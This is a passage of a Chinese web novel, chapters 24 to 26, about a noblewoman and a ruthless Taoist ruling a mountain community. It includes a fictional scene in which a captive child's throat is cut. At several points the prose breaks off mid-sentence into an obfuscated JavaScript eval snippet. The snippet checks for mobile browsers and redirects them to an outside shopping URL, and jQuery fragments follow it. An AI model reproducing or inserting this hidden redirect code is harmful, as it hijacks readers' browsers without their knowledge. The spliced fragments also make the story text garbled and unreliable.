他薄唇轻抿，面色沉静如玉，正闭目盘膝打坐。一缕晨光斜映在他身上，衬得他圣洁无瑕，恍若神祇。 李初棠看得有些出神——这还是昨日那个凶神恶煞的活阎罗吗？ 她忽然想起与他初遇的雨夜。那时他便以这副玄门道长的模样，生生骗过了她。 真是人靠衣装。 后来山居日久，他常穿深色南疆异族服饰。李初棠有时恶意地想，那身靛青袍子，倒与他阴郁的性子相称。 时隔多日，再看他身穿道袍，竟有种微妙的割裂感。 她站在原地，愣了许久。 江道灼气沉丹田，运转周天，默诵着师父传授的道经。 南疆的冲神道长不仅精于炼药化丹，也会遴选药童随他修行。江道灼为求活命，心甘情愿追随其侧。 这身道袍，正是师父所赐。唯有他最信任的弟子，方能承其衣钵。 “此衣用药蚕丝织就，辅以丹粉，有凝神聚气之效。日后若遇道心摇动之时，当默念此篇……” 遥远的回忆里，冲神道长混沌的声音仿佛仍在耳边，洗涤着他昨夜的失常。 待江道灼默诵完毕，缓缓睁眼，看见了不远处的少女。 他眉峰微挑，点漆般的眸子淡淡掠过，仿佛在看一个无足轻重之人。 李初棠没话找话：“打坐这么久？” 江道灼唇角轻挑：“不像蛇王位高权重，万事无忧。” 李初棠：“……” 这都什么跟什么。 这人向来喜怒无常，她懒得计较。昨日在冷泉泡了半日，身子仍有不适。 她没再理他，转身回了竹床，蜷缩着取暖。 闭目养神许久，窗外忽然传来一阵嘈杂人声。 “拜见蛇王……” “请蛇王出山！” “我等特来参拜蛇王，恭请蛇王现身！” 李初棠先是一愣，随即恍然。 她一拍脑门：“糟了！” 前日她对这批山民完成了信仰收割，不想今天就被找上门来。 想来是这群人迷信成性，山中刚又经历“改朝换代”，民心不稳，离不开她这个主心骨。 李初棠心中叫苦。 还未等她下床，就听见男人拉开庙门的声音。 她赶忙整了整衣衫，朝窗外望去。 蛇神庙外围满了山民，江道灼现身的一瞬，众人皆面露敬畏，仰头虔诚地望着他。 “蛇王相公……” 江道灼嘴角几不可察一抽。 李初棠脑中“嗡”的一声，险些裂开。 蛇王相公……什么玩意儿？ 怪不得他昨日那般生气，原来症结在此。 这群蠢民差点害死她！ 李初棠深吸一口气，稳住心神，在江道灼发作之前快步走出庙门，目光沉静地望向阶下众人。 “唤本王何事？” 她话音淡淡落下，全场霎时寂静。 众人双眼圆睁，一个个伸长了脖子望向她。 片刻，所有人齐齐跪倒：“见过蛇王——” 李初棠身形微僵，旋即仰首挺胸，负手而立，握拳干咳一声：“平身。” “谢蛇王——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李初棠微微一笑。 这就对了。往后她当个甩手掌柜，让这疯子替她办事。 想想就觉痛快！ “好了，都退下吧。” 众人闻言，正要散去。 一道低沉的声音响起：“回来。” 众人见道长发话，立刻老实退回原地。 江道灼淡声问道：“那群喽啰何在？” 一人答道：“死的死，逃的逃，如今下落不明。” “废物。” 他话音不重，却令众人脊背发凉。 场上鸦雀无声，无人敢接话。 江道灼冷声道：“昨日，有人趁蛇王清修之际顺手牵羊，逃之夭夭。”他拂尘轻扬，缓步向前，“本座限你们一日内，揪出窃贼和逃犯。否则……” 他寒潭般的眸子扫过众人，眸光凉薄。 江道灼唇瓣微启，刚要说话。 “否则，本王亲自带你们去见蛇神！”李初棠抢先喝道。 “遵命——！” 山民们怀着敬畏之心，领命而去。 众人刚走，李初棠紧绷的身子终于松懈下来。她抬手擦了擦额角的细汗，长长舒了口气。 还未等她彻底放松，身侧便投来一道冰冷的视线。 秋后算账的意味，再明显不过。 察觉危险，李初棠闪身踏入庙内，反手便要关门。 门扇被一只苍白的手稳稳抵住。 江道灼缓缓推开门，逆光之中，道袍衬得他眉眼愈发凛冽。 李初棠心头一紧，小声嘟囔：“我都让你当道长了……还有什么不满意的？难道……真想当我相公不成？” 他垂眸看着她，声音平静得令人心头发怵：“李初棠。” 她抿了抿唇：“……在。” 江道灼不依不饶：“你方才说，我是你什么？” 李初棠干笑两声：“权宜之计，权宜之计……” 江道灼眼眸微眯，忽然俯身凑近，气息几乎贴上她的耳廓。 “那你知道，道侣之间……该做什么吗？” 24. 24 李初棠整个人僵住。 道侣之间该做什么……她哪里知道！ 江道灼直起身，拂尘轻甩，转身离去前丢下一句：“抄一百遍《清静经》，就当清修。” 半晌，李初棠才反应过来，瞪了一眼他的背影，咕哝道：“抄就抄……反正字丑的是你。” 话虽如此，她转身时，唇角无意识扬起极浅的弧度。 这人脾气差，最爱吓唬人，但从未做过对她不利的事。 至于道侣之间该做什么，江道灼并不清楚。 这个陌生词汇，是他无意间听师父提起的。 “情动则气散，气散则血滞。”冲神道长的声音忽然在脑海中响起。 那个永远一身素白道袍、眉眼含笑的男人，用最温和的语气说着最残忍的话：“修道的药人最忌动情。你若生出不该有的心思……伤口恢复极慢，毒发痛不欲生。” 那时他不懂何为动情，现在……他不愿深想。 师父在的时候，虽然备受折磨，却道心稳固。不像现在，牢不可破的玄门清规，似乎在一点点破裂。 江道灼突然有点怀念南疆有条不紊的炼狱生活。 他想抄经，他要给冲神道长烧纸。 午后的窗下，两人于竹案前相对而坐。 微风拂过，掀起半卷宣纸。 李初棠一圈圈研墨，只觉得手腕酸麻。 男人少见地正经端肃，在桌前正襟危坐，默写《清静经》。 他的行草如鬼画符一般潦草难辨，洋洋洒洒写了一大摞纸。 李初棠则不同，她的簪花小楷笔划讲究，墨水用完才堪堪写了两张半。 他头也不抬地说：“你最好别偷懒，若是让我发现……” “好好好，师傅别念了……”李初棠一万个不情愿，忍着难受写完第三张。 她拿起宣纸轻轻一吹，待墨迹干透，将誊抄好的纸张放到窗台。 一只握着宣纸的大手忽然覆过来，冰冷的指尖蹭过她细腻的手背。 两人动作同时一僵。 李初棠慌忙缩回手，垂下眼眸，不敢作声。 江道灼抽回手，掌心那抹温热犹在，触感温润滑腻，勾得他想起昨夜…… 这念头刚起，他立即警惕起来，指尖握住冰冷的银笛，强迫自己镇定。 垂眸间，看自己小臂上尚未愈合的刀伤。 李初棠正认真写字，忽觉头顶投来一道阴沉的视线。 她抬眸，见江道灼狠厉地盯着她。 李初棠：？？？ 她招他惹他了？ 李初棠气闷地继续抄经，只觉得脑袋昏昏沉沉，眼前字迹逐渐模糊，再后来天旋地转…… 她昏睡了三天三夜，醒来时，抬眼看到干净的帐顶，身下柔软的茵褥让她有些不适应。 她裹着一件并不单薄的毯子，枕着软枕，不远处燃着檀香，帷幔外立着一座屏风…… 这里不是破庙。 意识到这一点，她微微恍惚。 那日泡了半天冷泉，寒气侵体，一下子病倒了。 李初棠凝神，缓缓撑起身子。 “醒了？”清冷的声音自屏风外响起。 江道灼穿着道袍，端着药汤跨步进来。 他淡淡说道：“衣服是林张换的。” 李初棠这才注意到自己身上崭新的里衣。她抬眸，看见江道灼眼下乌青一片，心里忽然有些不是滋味。 “喝了。” 李初棠接过药碗抿了一口。 一如既往的苦。 男人指节轻叩床边小几，李初棠垂眸看去，发现上面放着一碗蜜饯。 “这是你买的？”李初棠如见救星，就着蜜饯喝起汤药。 “我这是在哪儿？” “山上。”江道灼坐在床畔，却离她很远，“这些是山民自愿捐献的。” 李初棠假装没听懂“自愿”的言外之意。 三天时间建起一座完整竹屋，如此效率，若没用铁血手段她是不信的。 不愧是他。 她喝完药，轻轻抹去唇角的药汁。 江道灼随之看了一眼。原本红润的唇瓣，此刻苍白无光，还透着几道深深的唇纹。 他不自觉地皱了皱眉。 李初棠恢复了些精力，任由他把脉。 窗外隐隐传来操练之声，是有人在练兵？ 她扭头望向外面竹林。 “山民已编排成队，操练习武，分时段在山中放哨，按月缴纳赋税，承担徭役，违令者自当严惩。” 他转身将一本小册子扔给李初棠。 “草山律法……”李初棠看了眼封面上的字，又简单翻阅内容。 她病倒这几日，他这个副手倒是尽职尽责，将山民治理得井井有条。 想到这儿，心中愈发踏实。 不知不觉间，她好像适应了与他同处一室。 李初棠由衷地微笑：“谢谢你呀，大壮。” 她很少露出这样发自内心的笑容，眼睛弯弯的，杏仁般的眸子里闪着纯粹的光，嘴角上扬，露出一排整齐的皓齿。 江道灼凝了她一眼，又觉不自在，心中莫名升起一阵烦躁。 “赶紧起来，有个人等着你审，少磨蹭。”他不客气地说完，快步穿过屏风。 李初棠眸子微睁。 刚才还好好的，这又是哪根筋搭错了？ 自从统一了山头，她就觉得他不正常。 算了，他从来就没正常过。 看在他这些天任劳任怨的份上，不与他计较了！ 李初棠起身到竹柜中取了衣裙，梳妆后走出内室。 竹屋坐落在蛇神庙西侧。若将四周视为院落，蛇神庙是正堂，竹屋便是西厢房。 江道灼倚在破庙外的柱子旁等她。 李初棠走近，刚上台阶便吓得尖叫。 檐下赫然挂着十几个人头，有的已经腐烂，有的化为白骨，有的爬满蝇虫，恶心至极！ “这是什么……？！”她几乎吓哭。 江道灼简单解释：“一群喽啰，杀一儆百。” 李初棠还愣着，对方扯住她腰间的绦带，拉着她进了破庙。 神庙被打扫得干干净净，桌上摆着新鲜供品，泥土塑成的蛇神像在阳光下显得格外庄重。 她的目光从神像上一掠而过，旋即看到旁边圆柱上绑着一个奄奄一息的男孩。 他眼下有道显眼的疤痕，好像哪里见过。 “你没事吧？”李初棠一惊，刚要解绳子，却被他扼住手腕。 “他就是偷你衣裙的人。” 李初棠愕然。 她原以为贼人不是莽汉便是老妪，没想到竟是个手无缚鸡之力的小娃娃。 男童不过十岁模样，嘴唇干裂，一头枯黄头发乱糟糟的。身上的布衣料子尚可，却许久未洗，整个人脏兮兮的。 听到动静，她缓缓睁开眼睛。 李初棠觉得她眼熟，仔细回想，恍然道：“你是连儿？” 连儿正是她赶集失窃那日，红姨身边的帮凶。 男孩认出李初棠，皱着眉头看她，嘴上含着饶命。 江道灼掏出银匕，递给李初棠：“赶紧了结他。” “了结？”李初棠没接。 江道灼把丢失的银铃系回她的裙带，淡淡道：“按我钦定的草山律法，红姨一党余孽当割目枭首。” 李初棠一怔。 她确实厌恶红姨那帮人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495126|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也憎恨偷她衣裳的贼。 可是，当这孩子无助望向她时，李初棠迟疑了。 她心底动摇。自幼读书识礼，从没人教过她欺凌弱小。若是个大人，杀就杀了，可对方若是孩童，她反而生出了恻隐之心。 江道灼打断她的思绪：“怎么了？” 李初棠垂眸：“他是个孩子。” “那又如何。”江道灼觉得她在说废话。 “也许是误入歧途……”不知为何，李初棠有些下不去手。 江道灼冷笑：“舍不得？” 在他看来，年龄小根本不是理由。坏就是坏，不分长幼。 坏小孩长大了也是大坏种，他就是如此。 “冷泉是草山荒僻之地，他能偷到衣裙，必是有备而来。可见记恨你已久。” “是为了给主子报仇吧？”他凉薄地斜睨着男童。 连儿吓得直哆嗦：“我、我不是……我没有……” 他见李初棠生了怜悯之心，连忙服软：“姐、姐姐，好姐姐，你别杀我，我从没害过人，我只是……家境贫寒，拿人东西混口饭吃，没有别的意思……” 连儿情真意切，眼角挂着泪珠。 李初棠看了眼他磨破的鞋子，小声道：“也许他走投无路才……” “这几日，山中护卫控制了红姨所有的童子军。听他们说，这群小孩靠着年幼，自出招摇撞骗，不少还帮虎哥做饵，专门进城拐卖妇女孩童，偷盗杀人，甘为帮凶。这个叫连儿的，是孩子里的头目，红姨所行恶事，他桩桩件件皆有参与。” “李初棠，你最好记住，是谁跟踪你，偷你衣衫，害你着凉。小小年纪，心思不正。”江道灼眯起眼睛，“有些人是天生坏种，不分男女老幼。” “其他童子皆处理干净，只剩这人，该你下手。” 李初棠沉默了。 江道灼眸光一寒：“若不杀他，待他长大，自成祸害。” “你最好别发不该有的善心。”他抓住她的手腕，将匕首牢牢塞进她手心，“记住，凡是可能预知的危险，都要在第一时间给予最强有力的反击。机会稍纵即逝，否则受伤的是你自己。” 他字字珠玑，点醒了李初棠。 她握紧银匕，迎着他的目光点了点头。 男童见大势已去，“哇”地一声大哭起来。 李初棠看着眼前鲜活的生命，心脏怦怦直跳。 她扭头说：“要不你来？” 江道灼抱臂环胸，拒绝道：“这是你的恩怨，自该由你了结因果。” 李初棠懂这道理，但纠结半晌，仍旧下不了手。 她连鸡都没杀过，最多射过鸟雀，唯一一次杀人是不经意间射死红姨。 红姨倚老卖老，罪有应得，但这孩子还小…… 江道灼靠近，贴在她耳边，打断了李初棠的思绪。 他声音低得只有两人能听见：“我十岁时，杀的第一个人……也是个孩子。” “他偷了我的药，师父说，要么他死，要么我死。” 江道灼停顿片刻，又道：“当时我没得选。如今，你也没有。” 男人站在她身后，周身清苦的草药气息给了她几分镇定。 他的小拇指的指甲修得又尖又长，好似一个天然的刀刃。 “教你一招。”江道灼晃着指甲，“好好学，以后用得上。” 话音一落，一只大手捂住了她的双眼。 李初棠来不及多想，只听他大手一挥，尖锐物切入皮肉…… 四周静得出奇。 李初棠听到了割喉后的血流声。 他的手仍蒙着她的双眼，掌心感受到睫羽轻微的颤抖。 “记住，不许对任何人心软。” 25. 25 初夏生机勃勃，树上知了嗡鸣，掩盖了庙里一场血腥。 李初棠捂着眼睛扭头跑回竹屋，倒了杯茶水一饮而尽。 “午饭怎么吃。” 江道灼悠悠跟来，正拿帕子擦拭手指上的血渍。 “你准备吧。”李初棠不敢看他的小拇指，提裙跑出去。 她想透透气，和这个煞神待在一起实在压抑。 一路上遇见山民，一个个毕恭毕敬地向她行礼。 不知不觉走到林张氏家，李初棠刚推开篱笆门，老人家就迎了上来。 “老妪见过蛇王大人……”她恭敬地说道。 李初棠有些汗颜：“婆婆……叫我海棠就好。” “是，海棠大王。” 李初棠一时无言。 “上山这些日子多亏婆婆照顾，我和大壮想请您吃个午饭。” 她实在不愿单独和那人用餐，总觉得他最近很是古怪。 “不用不用，你们道侣难得有空一起，我哪儿能瞎掺和。”林张婆婆一脸笑意，“你病倒那几天，道长可是亲自守在床边，好几夜都没合眼呢。” 李初棠瞪圆眼睛：“……是吗？” 林张婆婆边说边把她往外送：“还不赶紧回去陪陪他，别让人等急了。” 李初棠愣了片刻，慢慢走回竹屋。 午饭摆在竹屋正堂。 桌上是她爱吃的肉食，江道灼坐在一旁，筷子未动，低头翻着一本发霉的旧册。 他看着由师父亲手批注的秘本，跳过人祭部分，仔细查找关于血丹和血契的记载。 “血丹若被他人误食，便与服丹者结为血契…… 二者之间渐生牵连，对方体质影响药性，亦会干扰服丹者心绪……” 干扰心绪。 看到师父的批注，他豁然开朗。 果然如他所料，这几日的反常皆因药丹影响。 江道灼仿佛服下一颗定心丸。 他继续往下翻，可惜这残破的秘本已到最后一页。 这册子显然不全，只有前半部。江道灼忽然想起，后半本在白若虚手中。 罢了，等回京再寻也不迟。 李初棠用余光瞥向江道灼，见他嘴角带笑，神情轻松。 秉持食不言的习惯，她直到吃完饭才开口：“看什么呢这么高兴？” 她伸手抽过那本小册，上面全是鬼画符似的文字，像是南疆文字。 李初棠疑惑地望向他。 却见他双臂环抱，好整以暇地看着自己，一身道袍衬得气质出尘。 他眉眼微扬，嘴角挂着几分胜券在握的笑意。 李初棠：“……” 她无语地把册子还他，望着眼前佳肴，心里渐生疑窦。 她记得这人第一次下厨时，好好的肉食吃起来味同嚼蜡。 如今却厨艺大进。 听林张婆婆说，她病倒时他在床边守了好几日。 那又是谁在整顿山民、操练阵法、编写律例？ 一个人分身乏术，不可能同时做这么多事。 想到这里，李初棠蹙起眉头。 他的道袍从不让她洗，可她也从未见他亲手浣衣，甚至不知他那几件常服从何而来…… “想什么呢？”他懒洋洋地问。 李初棠不动声色地摇头，心里渐渐有了答案。 “我晚上想喝鸡汤。”她说。 “好。”江道灼应下。 黄昏时分，李初棠攀着梯子爬到高处。 登高望远，远处屋舍炊烟袅袅，不少山民已开始生火做饭。 她眯眼细看，只见远处竹林里飘出一缕细烟。 李初棠快步下梯，跑向蛇神庙附近的竹林。 林间泥地因平日练兵踩得板结，她循着香味走向深处，这里泥土尚新，显然少有人来。 一行男子的脚印清晰可见。 她顺着脚印慢慢找去，果然见到一处土灶和堆好的木柴。 掀开锅盖，里面正炖着一只土鸡。 果然，鸡汤并非他亲手所做。前些日子的美味佳肴，恐怕也…… 她警惕地望向四周。 静悄悄的，不见人影。 她正要离开，余光瞥见身旁一根竹子轻轻晃动。 李初棠脚步一顿，猛地抬头。 高耸的竹梢上，一只飞鸟掠过枝头。 她呆立了一会儿，缓步走出竹林。 落日余晖中，观澜如影随形般现身，端着鸡汤走入竹屋，稳稳放在桌中央。 屋内无人，他刚要离开，就听见屏风后传来一阵清脆的银铃声。 紧接着，脚步声渐近！ 他知道主上有一对子母铃，母铃赠予竹屋女子，后来随衣物被窃，如今物归原主。 此时主上应在庙中清修，此时回来的只能是那个海棠姑娘！ 观澜急忙闪身躲到竹屋外，全神贯注于铃声与脚步，还未回神，耳边忽有风声掠过。 一支袖箭不偏不倚扎进他的小腿。 “嗷——！” 他惨叫一声，连轻功都使不出来了。 “你好呀，田螺公子。” 李初棠从暗处走出。随后，林张婆婆拿着银铃从屋里走了出来。 江道灼端坐蒲团，默诵师父所授道经。 这几日，他道袍不敢离身，只求师父在天之灵护他心神清明。 正当他静心凝神时，不远处传来熟悉的惨叫。 江道灼缓缓睁眼，眉间掠过一丝不耐。 观澜虽性子跳脱，行事却素来稳妥，此刻定是遇上麻烦了。 他静心继续诵经，待清修结束，方才走出破庙。 竹屋门紧闭着。 李初棠望着竹椅上被捆得结实实的男子，轻声问：“小田螺，你是什么人？” 观澜即便腿伤，也不至于制不住李初棠。 只是心知主上在意这女子，他才半推半就地陪她玩这审讯的把戏。 谁知她一点不客气，不仅把他捆在椅上，还敢揪他头发！ 审了半天，她也只问出他叫观澜。 “再不说我就把你薅秃！” 李初棠搬了椅子坐到他身旁，一下下拽着他的发丝：“快说，你和刘大壮是什么关系？” 听到“刘大壮”三字，观澜绷紧的脸一松，忍不住笑出声来。 若让国师府的人知道，有姑娘给主上起这种名字，不知笑倒多少人。 “严肃点！” 李初棠毫无审讯经验，强装凶狠的模样，在观澜眼里却像只虚张声势的兔子。 “不说也罢，我再问你……”李初棠凑近些，眯起眼睛，“刘大壮是做什么的？说，是不是国师府死士？” 观澜冷哼一声。 “嗷——！”下一秒他便痛呼出声。 李初棠用袖箭轻轻戳了戳他的指甲。 “我呸！你个没良心的，主……他对你那么好，为你建竹屋画了半天草图，窗户修了三回，妆台衣柜都是他吩咐人打的，为你调安神香，见你病了还亲自煎药！你倒好，这般编排我们！” 观澜气呼呼地说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495127|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李初棠怔了怔。 原来他默默做了这么多。 她本没想为难观澜，对大壮的身份……更多只是好奇。 “他当真这么细心？”她问。 心里不知为何滑过一丝暖意。 “假的。”观澜没好气的说。 “我就知道他是个极好的人。”李初棠不禁扬起嘴角，“你是他朋友还是下属？他在国师府一定很受器重吧，肯定比你混得好。” 她厌恶国师本人，但这些日子与大壮相处，很难恨屋及乌。 江道灼刚走到门外，便听见李初棠这句话。 他眉梢微挑，嘴角不自觉扬起。 推门而入的刹那，映入眼帘的便是这般情景：观澜被捆得严严实实，李初棠挨坐在旁，手里还拽着他的头发。 两人靠得极近。 江道灼心中渐渐升起一团无名火。 不知是因观澜身份暴露，还是因李初棠与他这般亲近。 占有欲悄然作祟，他一向不喜旁人靠近属于他的人和物。 李初棠与观澜齐齐看向他，屋内气氛一滞。 “……你回来啦？”李初棠有些尴尬。 他的脸色怎么这么难看？ 她暗自思忖，难道是因为她发现了观澜？ 江道灼心知闷气和观澜无关。如今草山初定，正是用人之时。 他本有意让观澜“重见天日”。 可眼下看来，倒也不必着急。 “哥！你可算来了！”观澜喜出望外。 机灵如他，此刻绝不能暴露二人真实关系。 李初棠心下了然。大壮既然为国师效力，观澜自然是大壮手下人。 江道灼切齿：“松绑。” “哦。”李初棠抿抿唇，解开了观澜。 观澜心中激动，主上果然还是在意他的！ “抄经，生火。”江道灼语气冷淡。 李初棠想起自己正是抄写道经时病倒的，如今抱过厚厚一叠纸，才知这些日子他除了照料自己，其余时间都在忙些什么。 观澜将山民供奉的线香垒成小堆，点燃火折子后，便退到远处候命。 夜色沉寂，江道灼缓缓将经文一页页送入香火之中。 他闭目凝神，眼前仿佛又浮现师父的笑容。 冲神道长是他的指路明灯，是他心烦意乱时最有效的清心诀。 “对别人心慈，就是对自己残忍。”师父的声音如影随形，“你娘便是最好的例子。她若狠得下心，早在怀你之前就该自我了断。” “生下你，反而造孽。” 他天生就是孽种，不值得任何人怜悯。 在南疆的那些年，他渐渐活成了师父期望的模样：冷静、残酷、不留余地。 因为他不屑被怜悯，他要站在高处，怜悯别人。 再度睁眼时，江道灼眸中已凝起寒冰。 身旁的李初棠正将经文轻轻送入火中，动作细致，神情宁静。 火光跃动，映亮她柔和的侧脸。 她忽然转身，一双清泉似的眼眸望向他。 “你叫什么名字？” 她轻声问，唇角漾开一抹浅笑，干净得不染半分尘埃。 江道灼下颌微微绷紧。 他自诩道心坚固，清修多年，早已习惯视万物如尘烟。 可此刻，少女那毫无防备的笑意，却如一缕穿云而来的微光，不经意间落在他冰封的心湖上。 方才默念清心诀筑起的心防，竟在这一眼中，无声裂开一丝细痕。 26. 26 香火堆旁，一片沉寂。 李初棠和煦说：“我总不能一直叫你大壮吧，多难听。何况你都知道我名字了……” “白若虚。” 他本想冷斥回去，却不自觉说出这三个字。 心中气自己嘴快，又恐慌这是不是身体的诚实反应。 一定又是血契作祟。 “白若虚？”李初棠轻声念了一遍，唇角微扬，“真好听，很有意境。” 她有意缓和气氛，说完又试探道：“你有乳名吗？” “少得寸进尺。” 仍是不屑的语气，李初棠却知道他不是真生气。 她笑起来：“你可以叫我棠棠呀。那我该怎么叫你？白、若、虚……白白？若若？还是虚虚？” 回应她的只有沉默。 她只好另起话头：“你最近身体怎么样？” 江道灼冷哼：“这话该我问你。” 目光扫过她微微发白的唇瓣。 这地方都没以前好看了。 思及此，他更烦闷。 “粗枝大叶，连自己都照顾不好。” 李初棠：“……” 她着实没想到他会说出这样的话。 “是是是，我照顾不好自己。”她顺坡下驴，又忍不住问，“那你呢？上次伤那么重……” 她想起鼠眼男来袭那日，他伏跪在供桌下奄奄一息，脆弱可怜。那时她怎会料到，江道灼会被一个山民逼到那般狼狈境地。 李初棠不知药人的秘密，江道灼却十分清楚。 药人一年四劫，皆在换季满月之时。 由冬转春之际，他在阳明山天祭遇害，流落于此。由春转夏之际，他在蛇神庙受山民欺辱，九死一生。 如今已无大碍，连小臂上的刀伤都已愈合。 这些日子他将她养得不错。距上次取血过了五日，他身子略微不适，但无伤大雅。 “还有一件事，”她顿了顿，声音低下去，“你之前说的……每旬一次……我答应你。” 江道灼心头一滞。 她立刻补充：“但不许胡来，更不准得寸进尺。” 江道灼语带讥诮：“李大小姐今日倒是爽快，怎么不提你那套礼义廉耻了？” 他总喜欢阴阳怪气。 “提了有用吗？你在乎吗？”李初棠呛回去，“就算我不答应，你真会听我的？我才不信。” 上次不就是突然袭击。 江道灼冷笑：“算你聪明。” 这场交易荒唐至极，却让身处弱势的李初棠，生出一丝扭曲的安心。 因为她心里清楚，江道灼不是心思龌龊的登徒子。 他只是个全然不顾世俗礼法的世外之人。 而且技术突飞猛进。 除去遐思，她也有自己的试探。 他两次亲吻，都咬破了她的唇。 这人无利不起早，一向精于算计，从不做无用功。 所以，她想知道，他究竟是单纯想吻她，还是只为取唇血。 若只为血，她尚可说服自己这只是交易。若他当真动了情……那她才真要方寸大乱。 最好不是。 李初棠脸颊微热，心跳悄悄加快。 其实她一直羞于承认，自己并非全然厌恶他的亲吻。 每当回忆起唇齿相贴的画面，记忆里是舒适而温和的。 身体永远最诚实，她想。 真正折磨她的，不是这种奇妙的感觉，而是认知和礼教的撕裂。 如今的李初棠，经历了山中艰苦的生存挑战，已经可以坦然接受自己的内心了。 “何时想通的？”江道灼忽然问。 他倒是意外，这个古板的小姑娘能开窍。 李初棠笑了笑，语气认真：“从前我总为那些规矩跟你争吵，现在想想实在没必要。你长在南疆，我生在京城，本就天差地别。你们那儿无拘无束、自在随性，纵然环境艰苦，也好过从小关在笼子里。” 她平静说着，不知是说给他听，还是说给从前那个困在深宫的自己。 “你有你的方式，我有我的底线。观念本无对错，若能彼此包容……总能找到相处之道。” 江道灼神色微僵。他没料到她竟会说出这番话。 她看着他，双眼灿若星辰，朱唇勾起笑靥：“有时候，我其实挺羡慕你的。” 话音落下，她自己也是一怔。 羡慕什么？羡慕他那份毫无负担的野性，还是羡慕他从不在对错间自我折磨？ 不，她羡慕的，或许是哪怕深陷泥沼也理直气壮活着的姿态。 不像她，自幼被礼教和家法捆绑，连被人强吻都要自责是否失仪。 可是，人只有活得自如才有意义。何必非在精神牢笼里挣扎？ 随心而行，率性而为，不好吗？ 况且，她能这般自在的日子也不多了。 过不了多久，等她找到蓉儿，她就要回京了。 “明天你想吃什么？我可以下厨，不用再麻烦你的人了。”她轻声补了一句，“我也想为这个家做些事。” 江道灼蓦地一怔。 家？ 这个字于他太过陌生。 满腔戾气骤然一滞。 他下意识攥紧袖中以血书写的静心道经，纸页被捏出细碎的皱痕。 他孑然一身，从未想过何为“家”，更从未有人将他纳入“家”的范畴。 他给她栖身之所，不过是利用，从未想过真正经营。 可她的话让他忽然意识到：这女子与他从前见过的所有人都不同。 她不是在索取庇护，而是在笨拙地、试图构筑一点什么。 这让江道灼心烦意乱。 他抬手扯松衣领，仍觉气息窒闷。 半晌，李初棠见他抬起眼，怨怼的瞪向自己。 李初棠：“？？？” 她越发看不懂这人了。 江道灼嗤笑：“你是想家了才这么矫情吧。” 说罢，他意识到什么，立刻说：“休想离开我。” 只要她还在山上，他势必纠缠不休。决不许这人形药丹离开他视线半步。 李初棠眸光闪烁。这种话，他说过不止一次。 她并非自作多情之人，可这些日子他的举止……实在反常。 那夜他闯入冰泉，眼神慌乱，举止失措……后来她病倒，他彻夜守在床边，亲自熬药调香，帮她复仇…… 她没法不多想。思及此，一颗心跳的好快。 李初棠的脸颊渐渐烧了起来。 初夏的风吹拂而过，透着柔情四溢的绵软，只吹得人心中发痒发热。 江道灼瞥见她脸色羞红，别开视线，“……是不是热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495128|202448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？” 他语气里透着股不自然，好似不小心吃了柳絮，有种被堵住的含糊感。 “嗯？”李初棠回过神，抬手摸了摸自己的脸。 江道灼只当她是被香火熏的。 他扯开话题：“是不是想家了。” 李初棠没有否认。 如今草山已定，民风渐化，她确实没有理由继续滞留。 可她在山上两月，国师府竟无一人来寻。 她心头一沉。 父亲……果真不在意她这个长女么？ 丫鬟蓉儿下落不明，依她那倔强的性子，不找到她誓不罢休。等她们回府之后，等待她的不知是怎样一场腥风血雨。 她轻轻叹了口气，惆怅的望向远处。 京城如今……又是何等光景？ 此刻，京城。 郑国公府书房，夜烛高燃。 中年男子于案前挥毫落墨。 “打听清楚了？太师府那位大小姐，当真在草山？” 他只觉荒谬，可儿子的话不似作伪。 “千真万确，消息是从太师府传来的，岂会有假？”华袍青年低声道。 中年男子冷笑：“当年江南苏家被连根拔起，李太师唯恐引火烧身。如今倒好，他亲生女儿竟想旧事重提。” 这不是在碰亲爹的逆鳞么。 “父亲，李初棠尚未返京，绝不能让她有机会为苏家翻案！当年之事，我们……” 父亲抬眼一瞥，威压无声。 青年顿时噤声。 “当年大势所趋，与我等何干？” 儿子凑近半步，低声耳语：“父亲明鉴。可纸包不住火，万一……” “当年那批水匪，如今何在？” 青年立即会意：“他们尚在江南曹淳手下讨活，儿子这就去安排。” 中年男子面色无波。 青年见他神色笃定，仍有些犹疑：“此事毕竟时隔多年，交给那些人……当真稳妥？” “李大小姐若回京翻旧账，第一个遭殃的就是那些水匪。我给曹淳去信，不信他不慌。” 自己种因，自己尝果。想活命，他们自会尽心。 郑国公深谙人性。 此事交给水匪，十拿九稳。 青年恍然，又压低声音：“还有一事……据线报，国师也在山上。” 中年男子眉心骤然一跳。 那妖道果然没死！ 祸害遗千年！他暗骂。 